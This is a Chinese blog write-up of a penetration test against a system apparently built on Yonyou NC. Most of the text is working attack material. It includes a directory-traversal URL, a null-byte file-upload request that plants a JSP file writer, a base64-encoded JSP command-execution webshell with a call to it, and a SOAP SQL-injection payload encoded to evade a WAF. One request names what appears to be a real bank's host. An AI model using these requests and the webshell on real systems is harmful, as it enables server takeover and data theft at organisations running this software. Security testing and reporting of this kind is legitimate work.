前言:

前段时间对客户这边的一个系统进行了一次渗透测试,整理了一下渗透过程。

渗透过程:

网站主页只提供了一个登录窗口和通知公告功能,翻翻了通知公告里面的附件,在一个操作手册里面的截图发现了几处账号信息截图。

按照用户名命名的规则尝试了一下暴力破解,但是并没有暴力出有用的账号信息。再次尝试扫描了一下网站目录,还是没有发现有用的信息。

这个时候尝试看看搜索引擎爬虫能不能找到有用的信息:site:test.test.com ,翻了好几页还真的发现存在一处比较有用的信息,如下截图:

发现三个邮箱,是系统维护人员的,其中两个邮箱后缀为:@yonyou.com ,搜索了下这个是用友的邮箱。看来这个系统是用友开发了的。这里也许是个切入口。

搜索了一下用友的漏洞还挺多的,没啥太多的信息只好一个一个来手工尝试了。

通过访问以下链接发现存在一个目录遍历,可以查看网站目录:

http://test.com/NCFindWeb?service=IPreAlertConfigService&filename=../../

大致的翻了翻目录里面的文件,发现存在一处上传,貌似服务器存在waf,直接上传shell无法成功,先提交一个测试包,创建vul.jsp文件。

POST /uapws/saveDoc.ajax?ws=/../../vul.jsp%00 HTTP/1.1

Host: test.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Cookie: WEBTRENDS_ID=61.175.197.205-573830592.30550248::43232CC12FBA7859241DCECA0AEE; tma=104439570.71887824.1476758319399.1476758319399.1476758319399.1; tmd=1.104439570.71887824.1476758319399.; bfd_g=80366a9b14aa7567000043870079083457565be9; _ga=GA1.2.461947641.1476838431; pgv_pvi=3334412288; JSESSIONID=0000nqHXxdL3UxqW2PZa81uhHad:18aoveges; TS2e6b29=2d2000199d42f3a7fba27056425bac791e2a959aa113bf045808776860ac0ec57e505727

X-Forwarded-For: 8.8.8.8

Connection: keep-alive

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

Content-Length: 261



content=%3C%25new%20java.io.FileOutputStream%28application.getRealPath%28%22%2f%22%29%2b%22%2f%22%2brequest.getParameter%28%22f%22%29%29.write%28new%20sun.misc.BASE64Decoder%28%29.decodeBuffer%28request.getParameter%28%22c%22%29%29%29%3Bout.close%28%29%3B%25%3E

接着利用刚才上传的vul.jsp文件写一个base64编码的shell来绕过waf:

POST http://test.com/uapws/vul.jsp?f=box.jsp

data:c=PCVAIHBhZ2UgaW1wb3J0PSJqYXZhLmlvLioiICU+CjwlCnRyeSB7ClN0cmluZyBjbWQgPSByZXF1ZXN0LmdldFBhcmFtZXRlcigiY21kIik7ClByb2Nlc3MgY2hpbGQgPSBSdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKGNtZCk7CklucHV0U3RyZWFtIGluID0gY2hpbGQuZ2V0SW5wdXRTdHJlYW0oKTsKaW50IGM7CndoaWxlICgoYyA9IGluLnJlYWQoKSkgIT0gLTEpIHsKb3V0LnByaW50KChjaGFyKWMpOwp9CmluLmNsb3NlKCk7CnRyeSB7CmNoaWxkLndhaXRGb3IoKTsKfSBjYXRjaCAoSW50ZXJydXB0ZWRFeGNlcHRpb24gZSkgewplLnByaW50U3RhY2tUcmFjZSgpOwp9Cn0gY2F0Y2ggKElPRXhjZXB0aW9uIGUpIHsKU3lzdGVtLmVyci5wcmludGxuKGUpOwp9CiU+
访问我们的shell执行命令:

http://test.com/uapws/box.jsp?cmd=ipconfig

再翻了翻目录,发现一个地方存在SQL注入,使用burpsuite提交以下请求包:

POST /uapws/service/nc.itf.bd.crm.ICurrtypeExportToCrmService HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Referer: http://test.com/uapws/service/nc.itf.bd.crm.ICurrtypeExportToCrmService?wsdl

Cookie: td_cookie=18446744070088469367; WEBTRENDS_ID=61.175.197.205-573830592.30550248::43232CC12FBA7859241DCECA0AEE; tma=104439570.71887824.1476758319399.1476758319399.1476758319399.1; tmd=1.104439570.71887824.1476758319399.; bfd_g=80366a9b14aa7567000043870079083457565be9; _ga=GA1.2.461947641.1476838431; pgv_pvi=3334412288; JSESSIONID=0000nqHXxdL3UxqW2PZa81uhHad:18aoveges; TS2e6b29=bf6fb5506fd7b0882ccb6sadd5515fd531e2a959aa113bf045808799e60ac0ec57e505727

X-Forwarded-For: 8.8.8.8

Connection: keep-alive

Upgrade-Insecure-Requests: 1

SOAPAction: urn:exportCurrtypeToCrm

Content-Type: text/xml;charset=UTF-8

Host: purchase.cmbchina.com

Content-Length: 522



<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:icur="http://crm.bd.itf.nc/ICurrtypeExportToCrmService"&gt;

   <soapenv:Header/>

   <soapenv:Body>

      <icur:exportCurrtypeToCrm>

         <!--type: string-->

         <string>>1111' AND 7033=CONVERT(INT, (&#64;&#64;&#118;&#101;&#114;&#115;&#105;&#111;&#110;&#43;&apos;&#126;&#126;&apos;&#43;&#100;&#98;&#95;&#110;&#97;&#109;&#101;&#40;&#41;))-- Mwnm </string>

      </icur:exportCurrtypeToCrm>

   </soapenv:Body>

</soapenv:Envelope>

由于站点存在waf,所以我们需要对我们的payload 进行处理,payload如下:

1111' AND 7033=CONVERT(INT, (@@version+'~~'+db_name()))-- Mwnm
Payload进行html编码:

1111' AND 7033=CONVERT(INT, (&#64;&#64;&#118;&#101;&#114;&#115;&#105;&#111;&#110;&#43;&apos;&#126;&#126;&apos;&#43;&#100;&#98;&#95;&#110;&#97;&#109;&#101;&#40;&#41;))-- Mwnm

到这里渗透过程基本完成,还有几处注入由于利用方法和上面的提到的差不多,这里就不在重复。

最后修改:2021 年 03 月 09 日
如果觉得我的文章对你有用,请随意赞赏